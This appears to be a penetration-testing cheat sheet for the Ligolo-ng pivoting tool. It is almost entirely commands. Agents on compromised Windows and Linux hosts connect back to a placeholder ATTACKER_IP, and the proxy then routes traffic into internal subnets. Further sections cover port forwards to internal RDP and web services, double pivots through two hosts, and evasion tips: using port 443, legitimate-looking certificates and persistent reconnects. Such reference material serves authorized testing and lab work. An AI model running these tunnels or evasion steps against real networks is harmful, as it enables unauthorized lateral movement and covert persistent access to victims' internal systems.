🌶 LIGOLO-NG

INSTALLATION#

# Download from releases
# https://github.com/nicocha30/ligolo-ng/releases

# Agent (target)
# Proxy (attacker)

SETUP (ATTACKER)#

CREATE TUN INTERFACE#

# Create interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Add route for target network (after tunnel established)
sudo ip route add 10.10.10.0/24 dev ligolo

START PROXY#

# Basic start
./proxy -selfcert

# Custom port
./proxy -selfcert -laddr 0.0.0.0:11601

# With certificate
./proxy -certfile cert.pem -keyfile key.pem

PROXY COMMANDS#

# In proxy console:
session                    # List sessions
session <id>              # Select session
ifconfig                  # Show target interfaces
start                     # Start tunnel
stop                      # Stop tunnel
listener_add              # Add port forward listener
listener_list             # List listeners
listener_del              # Delete listener

AGENT (TARGET)#

BASIC CONNECTION#

# Connect to proxy
./agent -connect ATTACKER_IP:11601 -ignore-cert

# With retry
./agent -connect ATTACKER_IP:11601 -ignore-cert -retry

WINDOWS AGENT#

# Run agent
agent.exe -connect ATTACKER_IP:11601 -ignore-cert

# Background (PowerShell)
Start-Process -NoNewWindow .\agent.exe -ArgumentList "-connect","ATTACKER_IP:11601","-ignore-cert"

LINUX AGENT#

# Run agent
./agent -connect ATTACKER_IP:11601 -ignore-cert &

# Nohup
nohup ./agent -connect ATTACKER_IP:11601 -ignore-cert &

TUNNELING WORKFLOWS#

BASIC TUNNEL SETUP#

# 1. On attacker: Create interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# 2. On attacker: Start proxy
./proxy -selfcert

# 3. On target: Run agent
./agent -connect ATTACKER_IP:11601 -ignore-cert

# 4. In proxy: Select session and start
ligolo-ng » session
ligolo-ng » start

# 5. On attacker: Add route
sudo ip route add 10.10.10.0/24 dev ligolo

# 6. Access internal network directly
nmap -sT 10.10.10.50
ssh user@10.10.10.50

ACCESS INTERNAL SERVICES#

# After tunnel is up:
# Direct access (no proxychains needed!)
curl http://10.10.10.50
nmap -sT -Pn 10.10.10.0/24
evil-winrm -i 10.10.10.50 -u admin -p password
ssh user@10.10.10.100
rdp 10.10.10.50

PORT FORWARDING#

REVERSE PORT FORWARD#

# Make target port accessible on attacker
# In proxy console:
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp

# Now attacker:8080 -> target:80

FORWARD TO INTERNAL HOST#

# Forward to internal host via agent
listener_add --addr 0.0.0.0:3389 --to 10.10.10.50:3389 --tcp

# Now attacker:3389 -> internal:3389

LIST/DELETE LISTENERS#

listener_list
listener_del <id>

DOUBLE PIVOT#

# Scenario: Attacker -> Pivot1 -> Pivot2 -> Target

# 1. Setup first tunnel (Attacker <-> Pivot1)
# On attacker:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# On Pivot1:
./agent -connect ATTACKER:11601 -ignore-cert

# In proxy: start tunnel, add route
sudo ip route add 172.16.0.0/24 dev ligolo

# 2. Transfer agent to Pivot2 via Pivot1 network
# Use listener or direct copy

# 3. Setup second tunnel
# Create second interface on attacker
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up

# Start second proxy instance
./proxy -selfcert -laddr 0.0.0.0:11602 -tun ligolo2

# On Pivot2 (via first tunnel):
./agent -connect ATTACKER:11602 -ignore-cert

# Add route for deeper network
sudo ip route add 192.168.1.0/24 dev ligolo2

EVASION TECHNIQUES#

# Use common ports
./proxy -selfcert -laddr 0.0.0.0:443
./agent -connect ATTACKER:443 -ignore-cert

# Use proper certificates
./proxy -certfile legitimate.pem -keyfile legitimate-key.pem

# Agent with retry (persistent)
./agent -connect ATTACKER:11601 -ignore-cert -retry

INTERFACE MANAGEMENT#

# List interfaces
ip link show

# Delete interface
sudo ip link del ligolo

# Multiple interfaces for multiple tunnels
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip tuntap add user $(whoami) mode tun ligolo3

# Routes for different networks
sudo ip route add 10.10.10.0/24 dev ligolo
sudo ip route add 172.16.0.0/24 dev ligolo2
sudo ip route add 192.168.1.0/24 dev ligolo3

TROUBLESHOOTING#

# Check tunnel status
ip addr show ligolo
ip route | grep ligolo

# Verify agent connected
# In proxy: session command shows connected agents

# MTU issues
sudo ip link set ligolo mtu 1400

# Connection refused
# - Check firewall on attacker
# - Verify port is open
# - Check agent can reach proxy

# Route not working
# - Ensure tunnel is started (start command)
# - Verify route is added
# - Check target network is correct

COMPARISON TO CHISEL#

# Ligolo-ng advantages:
# - Direct access (no SOCKS/proxychains)
# - Better performance
# - Full TCP/UDP support
# - VPN-like experience

# Chisel advantages:
# - Single binary both sides
# - Simpler setup
# - HTTP-based (firewall friendly)

QUICK REFERENCE#

# Attacker setup
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

# Target agent
./agent -connect ATTACKER:11601 -ignore-cert

# In proxy console
session                          # Select session
start                           # Start tunnel

# Add route (attacker)
sudo ip route add NETWORK/CIDR dev ligolo

# Direct access
nmap -sT 10.10.10.50            # No proxychains!
ssh user@10.10.10.50